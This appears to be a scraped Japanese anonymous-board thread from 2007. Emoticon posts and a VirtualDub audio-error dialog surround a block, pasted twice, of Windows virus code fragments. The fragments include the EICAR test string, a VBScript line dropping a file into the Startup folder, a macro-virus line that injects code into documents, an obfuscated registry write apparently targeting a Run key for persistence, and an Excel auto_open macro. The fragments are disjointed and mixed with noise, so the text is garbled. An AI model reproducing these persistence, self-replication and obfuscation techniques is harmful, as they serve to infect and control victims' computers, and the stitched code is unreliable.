ひかり荘 万歳！！！！！！！！！
(T_T)
|
|
|
(´･ω･｀)
3 ：名無し草：2007/10/18(木) 17:36:22
(・∀・)
4 ：名無し草：2007/10/20(土) 20:00:05
5 ：名無し草：2007/10/23(火) 19:27:31
7 ：名無し草：2007/10/25(木) 17:13:28
---------------------------
VBR audio stream detected
---------------------------
VirtualDub has detected an improper VBR audio encoding in the source
AVI file and will rewrite the audio header with standard CBR values during
processing for better compatibility. This may introduce up to 5046 ms of
skew from the video stream. If this is unacceptable, decompress the *entire*
audio stream to an uncompressed WAV file and recompress with a constant
bitrate encoder. (bitrate: 134.6 ｱ 20.0 kbps)
---------------------------
OK
---------------------------
VBR audio stream detected
---------------------------
VirtualDub has detected an improper VBR audio encoding in the source
AVI file and will rewrite the audio header with standard CBR values during
processing for better compatibility. This may introduce up to 5046 ms of
skew from the video stream. If this is unacceptable, decompress the *entire*
audio stream to an uncompressed WAV file and recompress with a constant
bitrate encoder. (bitrate: 134.6 ｱ 20.0 kbps)
---------------------------
OK
---------------------------
a
r
n
Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
12 ：名無し草：2007/10/28(日) 13:48:48
mms://st01.srv.casty.jp/hss14
13 ：名無し草：
Windowsのダイエット 前編